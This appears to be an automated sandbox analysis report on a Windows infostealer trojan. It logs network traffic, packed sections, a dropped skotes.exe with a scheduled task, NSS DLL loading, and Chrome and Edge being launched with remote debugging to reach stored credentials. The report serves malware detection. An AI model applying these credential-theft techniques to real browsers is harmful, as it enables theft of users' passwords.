Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58806
Source: unknown	Network traffic detected: HTTP traffic on port 58758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58809
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58802
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58804
Source: unknown	Network traffic detected: HTTP traffic on port 58815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58800
Source: unknown	Network traffic detected: HTTP traffic on port 58769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58740
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58741
Source: unknown	Network traffic detected: HTTP traffic on port 58750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58743
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58753
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58752
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58758
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58756
Source: unknown	Network traffic detected: HTTP traffic on port 58806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58764
Source: unknown	Network traffic detected: HTTP traffic on port 58829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58760
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58749 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.52.182.8:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.52.182.8:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.147:443 -> 192.168.2.5:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.147:443 -> 192.168.2.5:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49942 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsBKKKFCFIIJ.exe.0.dr	Static PE information: section name:
Source: DocumentsBKKKFCFIIJ.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsBKKKFCFIIJ.exe.0.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C53B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C53B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C53B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C4DF280

Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D35A0	0_2_6C4D35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54545C	0_2_6C54545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E5440	0_2_6C4E5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C515C10	0_2_6C515C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C522C10	0_2_6C522C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54AC00	0_2_6C54AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54542B	0_2_6C54542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E64C0	0_2_6C4E64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FD4D0	0_2_6C4FD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C516CF0	0_2_6C516CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DD4E0	0_2_6C4DD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E6C80	0_2_6C4E6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5334A0	0_2_6C5334A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53C4A0	0_2_6C53C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C500512	0_2_6C500512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EFD00	0_2_6C4EFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FED10	0_2_6C4FED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C510DD0	0_2_6C510DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5385F0	0_2_6C5385F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C513E50	0_2_6C513E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F4640	0_2_6C4F4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C522E4E	0_2_6C522E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F9E50	0_2_6C4F9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C546E63	0_2_6C546E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DC670	0_2_6C4DC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C517E10	0_2_6C517E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C525600	0_2_6C525600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C539E30	0_2_6C539E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5476E3	0_2_6C5476E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DBEF0	0_2_6C4DBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EFEF0	0_2_6C4EFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53E680	0_2_6C53E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F5E90	0_2_6C4F5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C534EA0	0_2_6C534EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C517710	0_2_6C517710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E9F00	0_2_6C4E9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C506FF0	0_2_6C506FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DDFE0	0_2_6C4DDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5277A0	0_2_6C5277A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F8850	0_2_6C4F8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FD850	0_2_6C4FD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51F070	0_2_6C51F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E7810	0_2_6C4E7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51B820	0_2_6C51B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C524820	0_2_6C524820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5450C7	0_2_6C5450C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FC0E0	0_2_6C4FC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5158E0	0_2_6C5158E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5060A0	0_2_6C5060A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FA940	0_2_6C4FA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52B970	0_2_6C52B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54B170	0_2_6C54B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4ED960	0_2_6C4ED960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C515190	0_2_6C515190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C532990	0_2_6C532990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50D9B0	0_2_6C50D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DC9A0	0_2_6C4DC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C519A60	0_2_6C519A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C518AC0	0_2_6C518AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51E2F0	0_2_6C51E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F1AF0	0_2_6C4F1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54BA90	0_2_6C54BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C542AB0	0_2_6C542AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D22A0	0_2_6C4D22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C504AA0	0_2_6C504AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4ECAB0	0_2_6C4ECAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D5340	0_2_6C4D5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EC370	0_2_6C4EC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51D320	0_2_6C51D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5453C8	0_2_6C5453C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DF380	0_2_6C4DF380
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_008178BB	26_2_008178BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00817049	26_2_00817049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00818860	26_2_00818860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_008131A8	26_2_008131A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00812D10	26_2_00812D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_007D4DE0	26_2_007D4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_0081779B	26_2_0081779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_007D4B30	26_2_007D4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00807F36	26_2_00807F36

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5194D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C50CBE8 appears 134 times

Source: file.exe, 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2645537085.000000006C755000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: oceaxpza ZLIB complexity 0.9948413468648329
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9978552878065395
Source: random[1].exe.0.dr	Static PE information: Section: ekxusscj ZLIB complexity 0.994995002925117
Source: DocumentsBKKKFCFIIJ.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9978552878065395
Source: DocumentsBKKKFCFIIJ.exe.0.dr	Static PE information: Section: ekxusscj ZLIB complexity 0.994995002925117
Source: skotes.exe.22.dr	Static PE information: Section: ZLIB complexity 0.9978552878065395
Source: skotes.exe.22.dr	Static PE information: Section: ekxusscj ZLIB complexity 0.994995002925117

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@72/292@22/25

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C537030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C537030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\KOO63NSV.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8864:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\9c76b9d1-a2a6-4771-a601-52317dff24cb.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2643251083.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2631924089.000000001D8AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2645217085.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2643251083.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2631924089.000000001D8AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2645217085.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2643251083.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2631924089.000000001D8AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2645217085.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2643251083.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2631924089.000000001D8AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2645217085.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2643251083.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2631924089.000000001D8AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2645217085.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2643251083.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2631924089.000000001D8AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2643251083.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2631924089.000000001D8AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2645217085.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2383178304.000000001D798000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2292645672.000000001D7A5000.00000004.00000020.00020000.00000000.sdmp, BFIJKEBFBFHIJJKEHDHI.0.dr, DHJECFCGHIDGHIDHDHIE.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2643251083.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2631924089.000000001D8AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2643251083.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2631924089.000000001D8AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsBKKKFCFIIJ.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2088,i,5255872379599629951,10500991351914301352,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
